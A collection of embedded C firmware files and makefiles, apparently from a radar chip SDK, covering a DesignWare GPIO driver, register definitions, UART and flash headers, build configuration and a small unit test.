if (raw_readl(reg_addr) & (1 << signal_id)) {
result = DW_GPIO_DIR_OUTPUT;
} else {
result = DW_GPIO_DIR_INPUT;
}
}
}
return result;
}
static int32_t dw_gpio_mode(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t mode)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t val = 0;
uint32_t reg_addr = dw_gpio->base;
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
switch (port_id) {
case DW_GPIO_PORT_A:
reg_addr += REG_DW_GPIO_SWPORTA_CTL_OFFSET;
break;
case DW_GPIO_PORT_B:
reg_addr += REG_DW_GPIO_SWPORTB_CTL_OFFSET;
break;
case DW_GPIO_PORT_C:
case DW_GPIO_PORT_D:
default:
result = E_PAR;
}
if (E_OK == result) {
val = raw_readl(reg_addr);
if (DW_GPIO_HW_MODE == mode) {
val |= (1 << signal_id);
} else {
val &= ~(1 << signal_id);
}
raw_writel(reg_addr, val);
}
}
return result;
}
static int32_t dw_gpio_interrupt_enable(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t enable, uint32_t mask)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
if (DW_GPIO_PORT_A != port_id) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_GPIO_INTEN_OFFSET + dw_gpio->base;
uint32_t val = raw_readl(reg_addr);
if (enable) {
val |= (1 << signal_id);
} else {
val &= ~(1 << signal_id);
}
raw_writel(reg_addr, val);
reg_addr = REG_DW_GPIO_INTMASK_OFFSET + dw_gpio->base;
val = raw_readl(reg_addr);
if (mask) {
val |= (1 << signal_id);
} else {
val &= ~(1 << signal_id);
}
raw_writel(reg_addr, val);
}
}
return result;
}
static int32_t dw_gpio_interrupt_polarity(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t polarity)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t val = 0;
uint32_t reg_addr = dw_gpio->base;
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
if (DW_GPIO_PORT_A != port_id) {
result = E_PAR;
} else {
switch (polarity) {
case DW_GPIO_INT_HIGH_LEVEL_ACTIVE:
val = raw_readl(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET);
val &= ~(1 << signal_id);
raw_writel(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET, val);
val = raw_readl(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr);
val |= (1 << signal_id);
raw_writel(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr, val);
val = raw_readl(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr);
val &= ~(1 << signal_id);
raw_writel(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr, val);
break;
case DW_GPIO_INT_LOW_LEVEL_ACTIVE:
val = raw_readl(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET);
val &= ~(1 << signal_id);
raw_writel(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET, val);
val = raw_readl(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr);
val &= ~(1 << signal_id);
raw_writel(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr, val);
val = raw_readl(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr);
val &= ~(1 << signal_id);
raw_writel(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr, val);
break;
case DW_GPIO_INT_RISING_EDGE_ACTIVE:
val = raw_readl(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET);
val |= (1 << signal_id);
raw_writel(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET, val);
val = raw_readl(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr);
val |= (1 << signal_id);
raw_writel(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr, val);
val = raw_readl(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr);
val &= ~(1 << signal_id);
raw_writel(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr, val);
break;
case DW_GPIO_INT_FALLING_EDGE_ACTIVE:
val = raw_readl(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET);
val |= (1 << signal_id);
raw_writel(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET, val);
val = raw_readl(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr);
val &= ~(1 << signal_id);
raw_writel(REG_DW_GPIO_INTPOLARITY_OFFSET + reg_addr, val);
val = raw_readl(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr);
val &= ~(1 << signal_id);
raw_writel(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr, val);
break;
case DW_GPIO_INT_BOTH_EDGE_ACTIVE:
val = raw_readl(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET);
val |= (1 << signal_id);
raw_writel(reg_addr + REG_DW_GPIO_INTTYPE_LEVEL_OFFSET, val);
val = raw_readl(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr);
val |= (1 << signal_id);
raw_writel(REG_DW_GPIO_INT_BOTHEDGE_OFFSET + reg_addr, val);
break;
default:
result = E_PAR;
}
}
}
return result;
}
static int32_t dw_gpio_interrupt_all_status(dw_gpio_t *dw_gpio)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t reg_addr = dw_gpio->base + REG_DW_GPIO_INTSTATUS_OFFSET;
result = raw_readl(reg_addr);
}
return result;
}
static int32_t dw_gpio_interrupt_status(dw_gpio_t *dw_gpio, uint32_t gpio_id)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
uint32_t reg_addr = dw_gpio->base + REG_DW_GPIO_INTSTATUS_OFFSET;
if (DW_GPIO_PORT_A == port_id) {
result = (raw_readl(reg_addr) & (1 << signal_id)) ? (1) : (0);
} else {
result = E_PAR;
}
}
return result;
}
static int32_t dw_gpio_interrupt_raw_status(dw_gpio_t *dw_gpio, uint32_t gpio_id)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
uint32_t reg_addr = dw_gpio->base + REG_DW_GPIO_RAW_INTSTATUS_OFFSET;
if (DW_GPIO_PORT_A == port_id) {
result = (raw_readl(reg_addr) & (1 << signal_id)) ? (1) : (0);
} else {
result = E_PAR;
}
}
return result;
}
static int32_t dw_gpio_interrupt_clear(dw_gpio_t *dw_gpio, uint32_t gpio_id)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
uint32_t reg_addr = dw_gpio->base + REG_DW_GPIO_PORTA_EOI_OFFSET;
if (DW_GPIO_PORT_A == port_id) {
raw_writel(reg_addr, 1 << signal_id);
} else {
result = E_PAR;
}
}
return result;
}
static int32_t dw_gpio_debounce(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t enable)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
uint32_t reg_addr = dw_gpio->base + REG_DW_GPIO_DEBOUNCE_OFFSET;
if (DW_GPIO_PORT_A == port_id) {
uint32_t val = raw_readl(reg_addr);
if (enable) {
val |= (1 << signal_id);
} else {
val &= ~(1 << signal_id);
}
raw_writel(reg_addr, val);
} else {
result = E_PAR;
}
}
return result;
}
static int32_t dw_gpio_read(dw_gpio_t *dw_gpio, uint32_t gpio_id)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
uint32_t reg_addr = dw_gpio->base;
uint32_t reg_addr1 = reg_addr;
switch (port_id) {
case DW_GPIO_PORT_A:
reg_addr += REG_DW_GPIO_EXT_PORTA_OFFSET;
reg_addr1 += REG_DW_GPIO_SWPORTA_DDR_OFFSET;
break;
case DW_GPIO_PORT_B:
reg_addr += REG_DW_GPIO_EXT_PORTB_OFFSET;
reg_addr1 += REG_DW_GPIO_SWPORTB_DDR_OFFSET;
break;
case DW_GPIO_PORT_C:
//reg_addr += REG_DW_GPIO_EXT_PORTC_OFFSET;
break;
case DW_GPIO_PORT_D:
//reg_addr += REG_DW_GPIO_EXT_PORTD_OFFSET;
break;
default:
result = E_PAR;
}
if (raw_readl(reg_addr1) & (1 << signal_id)) {
result = E_SYS;
}
if (E_OK == result) {
result = (raw_readl(reg_addr) & (1 << signal_id)) ? (1) : (0);
}
}
return result;
}
static int32_t dw_gpio_version(dw_gpio_t *dw_gpio)
{
int32_t result = E_OK;
if (NULL == dw_gpio) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_GPIO_VER_ID_CODE_OFFSET + dw_gpio->base;
result = raw_readl(reg_addr);
}
return result;
}
static dw_gpio_ops_t dw_gpio_ops = {
.mode = dw_gpio_mode,
.set_direct = dw_gpio_direct,
.get_direct = dw_gpio_get_direct,
.write = dw_gpio_write,
.read = dw_gpio_read,
.debounce = dw_gpio_debounce,
.int_enable = dw_gpio_interrupt_enable,
.int_polarity = dw_gpio_interrupt_polarity,
.int_all_status = dw_gpio_interrupt_all_status,
.int_status = dw_gpio_interrupt_status,
.int_raw_status = dw_gpio_interrupt_raw_status,
.int_clear = dw_gpio_interrupt_clear,
.version = dw_gpio_version
};
int32_t dw_gpio_install_ops(dw_gpio_t *dw_gpio)
{
int32_t result = E_OK;
if (NULL == dw_gpio) {
result = E_PAR;
} else {
dw_gpio->ops = (void *)&dw_gpio_ops;
}
return result;
}
<file_sep>#ifndef _ALPS_EMU_REG_H_
#define _ALPS_EMU_REG_H_
#define REG_EMU_RF_BOOT_MASK (REL_REGBASE_EMU + 0x0000)
#define REG_EMU_RF_LEVEL1_MASK (REL_REGBASE_EMU + 0x0004)
#define REG_EMU_RF_LEVEL0_MASK (REL_REGBASE_EMU + 0x0008)
#define REG_EMU_RF_IRQ_MASK (REL_REGBASE_EMU + 0x000c)
#define REG_EMU_DIG_BOOT_MASK (REL_REGBASE_EMU + 0x0010)
#define REG_EMU_DIG_LEVEL1_MASK (REL_REGBASE_EMU + 0x0014)
#define REG_EMU_DIG_LEVEL0_MASK (REL_REGBASE_EMU + 0x0018)
#define REG_EMU_DIG_IRQ_MASK (REL_REGBASE_EMU + 0x001c)
#define REG_EMU_GLB_LBSIT_CTL (REL_REGBASE_EMU + 0x0020)
#define REG_EMU_WDT_INIT_NUM (REL_REGBASE_EMU + 0x0024)
#define REG_EMU_DIG_ERR_CLR (REL_REGBASE_EMU + 0x0028)
#define REG_EMU_SEC_CTL (REL_REGBASE_EMU + 0x002c)
#define REG_EMU_RF_TEST_ENA (REL_REGBASE_EMU + 0x0030)
#define REG_EMU_RF_ERR_CLR (REL_REGBASE_EMU + 0x0034)
#define REG_EMU_BB_LBIST_CTL (REL_REGBASE_EMU + 0x0038)
#define REG_EMU_CPU_ERR_CTL (REL_REGBASE_EMU + 0x003c)
#define REG_EMU_RF_ERR_STA (REL_REGBASE_EMU + 0x0040)
#define REG_EMU_DIG_ERR_STA (REL_REGBASE_EMU + 0x0044)
#define REG_EMU_FSM_STA (REL_REGBASE_EMU + 0x0048)
#define REG_EMU_SOP_STA (REL_REGBASE_EMU + 0x0050)
#define REG_EMU_EFUSE_SEC_STA (REL_REGBASE_EMU + 0x0054)
#define REG_EMU_REBOOT_CNT (REL_REGBASE_EMU + 0x0800)
#define REG_EMU_REBOOT_LIMIT (REL_REGBASE_EMU + 0x0804)
#define REG_EMU_RF_ERR0_CODE (REL_REGBASE_EMU + 0x0810)
#define REG_EMU_RF_ERR1_CODE (REL_REGBASE_EMU + 0x0814)
#define REG_EMU_RF_ERR2_CODE (REL_REGBASE_EMU + 0x0818)
#define REG_EMU_RF_ERR3_CODE (REL_REGBASE_EMU + 0x081c)
#define REG_EMU_DIG_ERR0_CODE (REL_REGBASE_EMU + 0x0830)
#define REG_EMU_DIG_ERR1_CODE (REL_REGBASE_EMU + 0x0834)
#define REG_EMU_DIG_ERR2_CODE (REL_REGBASE_EMU + 0x0838)
#define REG_EMU_DIG_ERR3_CODE (REL_REGBASE_EMU + 0x083c)
#define BIT_EMU_ITF_VBG_MONITOR (1 << 9)
#define BIT_EMU_ITF_TEMP (1 << 8)
#define BIT_EMU_ITF_SUPPLY_DVDD11 (1 << 7)
#define BIT_EMU_ITF_SUPPLY_CBC33 (1 << 6)
#define BIT_EMU_ITF_IRQ_FMCW (1 << 4)
#define BIT_EMU_ITF_IRQ_PLL (1 << 3)
#define BIT_EMU_ITF_IRQ_FM (1 << 2)
#define BIT_EMU_ITF_IRQ_RFPOWER (1 << 1)
#define BIT_EMU_IRQ_SUPPLY_LDO (1 << 0)
#define BIT_EMU_ECC_XIP_ERR (1 << 12)
#define BIT_EMU_CAN_1_IRQ3 (1 << 11)
#define BIT_EMU_CAN_0_IRQ3 (1 << 10)
#define BIT_EMU_BB_ERR (1 << 9)
#define BIT_EMU_AHB_ASYNC_BRG0_ERR (1 << 8)
#define BIT_EMU_ECC_RAM_ERR (1 << 7)
#define BIT_EMU_ECC_ROM_ERR (1 << 6)
#define BIT_EMU_AHB_ASYNC_BRG1_ERR (1 << 5)
#define BIT_EMU_DMA_IRQ_FLGA4 (1 << 4)
#define BIT_EMU_ECC_CACHE_ERR (1 << 3)
#define BIT_EMU_ECC_CCM_ERR (1 << 2)
#define BIT_EMU_WDT_CPU (1 << 1)
#define BIT_EMU_BBLBIST_FAIL (1 << 0)
#define BITS_EMU_PRJ_NUM_MASK (0xf)
#define BITS_EMU_PRJ_NUM_SHIFT (24)
#define BITS_EMU_MBIST_DIV_MASK (0xf)
#define BITS_EMU_MBIST_DIV_SHIFT (20)
#define BITS_EMU_MBIST_CLK_ENA (1 << 16)
#define BITS_EMU_BB_LBIST_DIV_MASK (0xf)
#define BITS_EMU_BB_LBIST_DIV_SHIFT (12)
#define BITS_EMU_GLBIST_DIV_MASK (0xf)
#define BITS_EMU_GLBIST_DIV_SHIFT (8)
#define BITS_EMU_BB_LBIST_CLK_ENA (1 << 3)
#define BITS_EMU_GLBIST_CLK_ENA (1 << 2)
#define BITS_EMU_WDT_ENA (1 << 1)
#define BITS_EMU_GLBIST_MODE (1 << 0)
#define BIT_EMU_WDT_RELOAD (1 << 3)
#define BIT_EMU_BB_LBIST_CLR (1 << 2)
#define BIT_EMU_BB_LBIST_ENA (1 << 1)
#define BIT_EMU_BOOT_DONE (1 << 0)
#define BIT_EMU_CPU_LV0_ERR (1 << 1)
#define BIT_EMU_CPU_LV1_ERR (1 << 0)
#define BIT_EMU_EMU_FSM_CS_MASK (0xf)
#define BIT_EMU_EMU_FSM_CS_SHIFT (16)
#define BIT_EMU_BB_LBIST_DONE (1 << 10)
#define BIT_EMU_BB_LBIST_FAIL (1 << 9)
#define BIT_EMU_GLBIST_DONE (1 << 8)
#define BIT_EMU_GLBIST_FAIL (1 << 7)
#define BIT_EMU_MBIST_DONE (1 << 6)
#define BIT_EMU_MBIST_FAIL (1 << 5)
#define BIT_EMU_BOOT_DONE (1 << 4)
#define BIT_EMU_BOOT_FAIL (1 << 3)
#define BIT_EMU_LV1_ERR (1 << 2)
#define BIT_EMU_LV0_ERR (1 << 1)
#define BIT_EMU_REBOOT_FAIL (1 << 0)
#define BITS_EMU_SOP_DEBUG (1 << 7)
#define BITS_EMU_SOP_BOOT_MASK (0x7)
#define BITS_EMU_SOP_BOOT_SHIFT (2)
#define BITS_EMU_SOP_FS_MASK (0x3)
#define BITS_EMU_SOP_FS_SHIFT (0)
#define BITS_EMU_E_JD (1 << 1)
#define BITS_EMU_E_SE (1 << 0)
#define BIT_EMU_REBOOT_LIMIT_DIS (1 << 1)
#define BIT_EMU_REBOOT_LIMIT_NUM (1 << 0)
#endif
<file_sep>#ifndef _CASCADE_CONFIG_H_
#define _CASCADE_CONFIG_H_
#define CHIP_CASCADE_SYNC_M (27)
#define CHIP_CASCADE_SYNC_S (26)
#define CHIP_CASCADE_SPI_M_ID (1)
#define CHIP_CASCADE_SPI_S_ID (2)
/* word. */
#define CASCADE_TX_BUFFER_SIZE (20000 >> 2)
#define CASCADE_RX_BUFFER_SIZE (20000 >> 2)
//#define CFG_CASCADE_COM_TYPE (0)
#endif
<file_sep>#include "CuTest.h"
#include "string.h"
#include "ctype.h"
char* StrToUpper(char* str) {
char* p;
for (p = str ; *p ; ++p)
*p = toupper(*p);
return str;
}
void TestStrToUpper(CuTest *tc) {
char* input = strdup("hello world");
char* actual = StrToUpper(input);
char* expected = "HELLO WORLD";
CuAssertStrEquals(tc, expected, actual);
}
CuSuite* StrUtilGetSuite() {
CuSuite* suite = CuSuiteNew();
SUITE_ADD_TEST(suite, TestStrToUpper);
return suite;
}
<file_sep>#ifndef _UART_HAL_H_
#define _UART_HAL_H_
#include "dev_common.h"
#include "dw_uart.h"
typedef void (*xfer_callback)(void *);
typedef enum uart_callback_msg_id {
UART_CB_RX_ERR = 0,
UART_CB_RX_DONE,
UART_CB_RX_NO_BUF,
UART_CB_RX_BUF_FULL,
UART_CB_TX_ERR,
UART_CB_TX_DONE,
UART_CB_TX_NO_BUF,
UART_CB_TX_WORKING,
} uart_cb_msg_t;
typedef struct uart_ping_pong_buffer {
void *buf;
uint32_t len;
uint32_t nof_pp_buf;
} uart_pp_buf_t;
typedef enum uart_data_buffer_state {
DATA_BUF_IDLE = 0,
DATA_BUF_FILLING,
DATA_BUF_READY,
DATA_BUF_INSTALLED,
DATA_BUF_DONE
} uart_buf_state_t;
typedef struct uart_pp_buffer_header {
uint8_t state;
uint8_t used_size;
} uart_ppbuf_header_t;
int32_t uart_init(uint32_t id, uint32_t baud);
int32_t uart_baud_set(uint32_t id, uint32_t baud);
int32_t uart_frame_config(uint32_t id, dw_uart_format_t *ff);
int32_t uart_write(uint32_t id, uint8_t *data, uint32_t len);
int32_t uart_read(uint32_t id, uint8_t *data, uint32_t len);
int32_t uart_buffer_register(uint32_t id, dev_buf_type_t type, void *buffer);
int32_t uart_interrupt_enable(uint32_t id, dev_xfer_type_t type, uint32_t en);
int32_t uart_callback_register(uint32_t id, xfer_callback func);
#endif
<file_sep>CALTERAH_COMMON_ROOT = $(CALTERAH_ROOT)/common
include $(CALTERAH_COMMON_ROOT)/math/math.mk
include $(CALTERAH_COMMON_ROOT)/fmcw_radio/fmcw_radio.mk
include $(CALTERAH_COMMON_ROOT)/baseband/baseband.mk
include $(CALTERAH_COMMON_ROOT)/sensor_config/sensor_config.mk
include $(CALTERAH_COMMON_ROOT)/track/track.mk
#include $(CALTERAH_COMMON_ROOT)/track/track_release.mk
include $(CALTERAH_COMMON_ROOT)/vel_deamb_MF/vel_deamb_MF.mk
include $(CALTERAH_COMMON_ROOT)/fsm/fsm.mk
include $(CALTERAH_COMMON_ROOT)/cluster/cluster.mk
include $(CALTERAH_COMMON_ROOT)/emu/emu.mk
include $(CALTERAH_COMMON_ROOT)/can_cli/can_cli.mk
include $(CALTERAH_COMMON_ROOT)/console/console.mk
ifneq ($(CHIP_CASCADE),)
include $(CALTERAH_COMMON_ROOT)/cascade/cascade.mk
endif
ifneq ($(SPIS_SERVER_ON),)
include $(CALTERAH_COMMON_ROOT)/spi_slave_server/spi_slave_server.mk
endif
include $(CALTERAH_COMMON_ROOT)/spi_master/spi_master.mk
# List of Features
FMCW_SDM_FREQ ?= 400
INTER_FRAME_POWER_SAVE ?= 1
TRK_CONF_3D ?= 0
MAX_OUTPUT_OBJS ?= 64
NUM_VARRAY ?= 1
NUM_FRAME_TYPE ?= 1
# Accelerating bootsup speed
# 0: no acceleration;
# 1: generating accelerating code;
# 2: using generated code to speedup bootsup;
ACC_BB_BOOTUP ?= 0
ifeq ($(CHIP_VER),B)
CHK_DMU_MODE ?= 1
else
CHK_DMU_MODE ?= 0
endif
HTOL_TEST ?= 0
DOPPLER_MOVE ?= 1
EXTRA_DEFINES += -DFMCW_SDM_FREQ=$(FMCW_SDM_FREQ)
EXTRA_DEFINES += -DINTER_FRAME_POWER_SAVE=$(INTER_FRAME_POWER_SAVE)
EXTRA_DEFINES += -DTRK_CONF_3D=$(TRK_CONF_3D)
EXTRA_DEFINES += -DMAX_OUTPUT_OBJS=$(MAX_OUTPUT_OBJS)
EXTRA_DEFINES += -DNUM_VARRAY=$(NUM_VARRAY)
EXTRA_DEFINES += -DNUM_FRAME_TYPE=$(NUM_FRAME_TYPE)
EXTRA_DEFINES += -DCHK_DMU_MODE=$(CHK_DMU_MODE)
EXTRA_DEFINES += -DHTOL_TEST=$(HTOL_TEST)
EXTRA_DEFINES += -DACC_BB_BOOTUP=$(ACC_BB_BOOTUP)
EXTRA_DEFINES += -DDOPPLER_MOVE=$(DOPPLER_MOVE)
<file_sep>
CHIP_RES_CSRCS ?=
CHIP_RES_COBJS ?=
CHIP_RES_INCDIRS ?=
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/dmu
ifneq ($(USE_UART),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/designware/dw_uart
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/designware/dw_uart)
endif
ifneq ($(USE_GPIO),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/designware/gpio
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/designware/gpio)
endif
ifneq ($(USE_CAN),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/can
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/can_r2p0)
endif
ifneq ($(USE_SSI),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/designware/dw_ssi
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/designware/ssi)
endif
ifneq ($(USE_QSPI),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/designware/dw_qspi
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/designware/dw_qspi)
endif
ifneq ($(USE_XIP),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/xip
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/xip)
endif
ifneq ($(USE_HW_CRC),)
BOOT_INCDIRS += $(CHIP_ROOT_DIR)/drivers/ip/crc
CHIP_RES_CSRCS += $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/ip/crc)
endif
CHIP_RES_COBJS = $(call get_relobjs, $(CHIP_RES_CSRCS))
<file_sep># Common Shared Code
Common shared code are resided here. Code here are independent of OS.
## Introduction
List of modules:
1. math
Numeric definitions and function calls
2. baseband
Baseband related setup and control
3. track
Tracking algorithm
4. cluster
clustering algorithm
5. sensor_config
sensor_configure related
<file_sep>#ifndef _VENDOR_H_
#define _VENDOR_H_
#define CMD_RD_JEDEC_WC (8)
#define FLASH_DEV_SAMPLE_DELAY (0)
#define FLASH_DEV_DUMMY_CYCLE (4)
#define FLASH_DEV_MODE_CYCLE (2)
/* Add for boot split feature: */
#define FLASH_DEV_CMD0_INS (0x06)
#define FLASH_DEV_CMD1_INS (0x31)
#define FLASH_DEV_CMD2_INS (0)
#define FLASH_DEV_CMD3_INS (0)
/* 31 --- 24 23 --- 0 */
/* valid * addr * */
#define FLASH_DEV_CMD0_ADDR (0)
#define FLASH_DEV_CMD1_ADDR (0)
#define FLASH_DEV_CMD2_ADDR (0)
#define FLASH_DEV_CMD3_ADDR (0)
/* 31 --- 8 7 --- 0 */
/* valid * value */
#define FLASH_DEV_CMD0_VAL0 (0)
#define FLASH_DEV_CMD0_VAL1 (0)
#define FLASH_DEV_CMD0_VAL2 (0)
#define FLASH_DEV_CMD0_VAL3 (0)
#define FLASH_DEV_CMD1_VAL0 (0xff02)
#define FLASH_DEV_CMD1_VAL1 (0)
#define FLASH_DEV_CMD1_VAL2 (0)
#define FLASH_DEV_CMD1_VAL3 (0)
#define FLASH_DEV_CMD2_VAL0 (0)
#define FLASH_DEV_CMD2_VAL1 (0)
#define FLASH_DEV_CMD2_VAL2 (0)
#define FLASH_DEV_CMD2_VAL3 (0)
#define FLASH_DEV_CMD3_VAL0 (0)
#define FLASH_DEV_CMD3_VAL1 (0)
#define FLASH_DEV_CMD3_VAL2 (0)
#define FLASH_DEV_CMD3_VAL3 (0)
/* (ins, addr, delay(ms), val0-val3(lowest byte, others as valid flag)). */
#define FLASH_DEV_CMD0 DEF_FLASH_CMD(FLASH_DEV_CMD0_INS, 0, 32, FLASH_DEV_CMD0_VAL0, FLASH_DEV_CMD0_VAL1, FLASH_DEV_CMD0_VAL2, FLASH_DEV_CMD0_VAL3)
#define FLASH_DEV_CMD1 DEF_FLASH_CMD(FLASH_DEV_CMD1_INS, 0, 32, FLASH_DEV_CMD1_VAL0, FLASH_DEV_CMD1_VAL1, FLASH_DEV_CMD1_VAL2, FLASH_DEV_CMD1_VAL3)
#define FLASH_DEV_CMD2 DEF_FLASH_CMD_INV()
#define FLASH_DEV_CMD3 DEF_FLASH_CMD_INV()
#endif
<file_sep>#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "embARC_toolchain.h"
#include "embARC.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "board.h"
#include "i2c_hal.h"
static i2c_params_t xfer_params = {
.addr_mode = 0,
.speed_mode = 1,
.slave_addr = 0xb0 >> 1,
};
void pmic_init(void)
{
uint32_t ref_clock = clock_frequency(I2C_CLOCK);
xfer_params.scl_h_cnt = ref_clock / 1000000;
xfer_params.scl_l_cnt = ref_clock / 1000000;
i2c_init(0, &xfer_params);
}
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
/**
*
* \file
* \ingroup CHIP_ALPS_COMMON_INIT
* \brief alps resource definitions
*/
/**
* \addtogroup CHIP_ALPS_COMMON_INIT
* @{
*/
#ifndef _ALPS_H_
#define _ALPS_H_
#include "arc_em.h"
#include "arc_builtin.h"
#ifdef CHIP_ALPS_A
#include "drivers/ip/designware/iic/dw_iic_obj.h"
#include "drivers/ip/designware/spi/dw_spi_obj.h"
#include "drivers/ip/designware/uart/dw_uart_obj.h"
#else
#include "drivers/ip/designware/ssi/dw_ssi_obj.h"
#include "drivers/ip/designware/dw_timer/dw_timer_obj.h"
#include "drivers/ip/designware/dw_uart/dw_uart_obj.h"
#endif
#ifdef CHIP_ALPS_A
#include "drivers/ip/gpio/gpio_obj.h"
#include "drivers/ip/can/can_obj.h"
#include "drivers/ip/designware/qspi/dw_qspi_obj.h"
#else
#include "drivers/ip/designware/gpio/dw_gpio_obj.h"
#include "drivers/ip/can_r2p0/can_obj.h"
#ifdef CHIP_ALPS_B
#include "drivers/ip/designware/dw_qspi/dw_qspi_obj.h"
#endif
#include "alps_otp_mmap.h"
#endif
#include "drivers/ip/designware/i2c/dw_i2c_obj.h"
#include "drivers/ip/xip/xip_obj.h"
#include "drivers/ip/crc/crc_obj.h"
#include "drivers/ip/designware/ahb_dmac/dw_dma_obj.h"
#include "common/alps_timer.h"
#include "alps_hardware.h"
#include "alps_module_list.h"
#include "alps_clock.h"
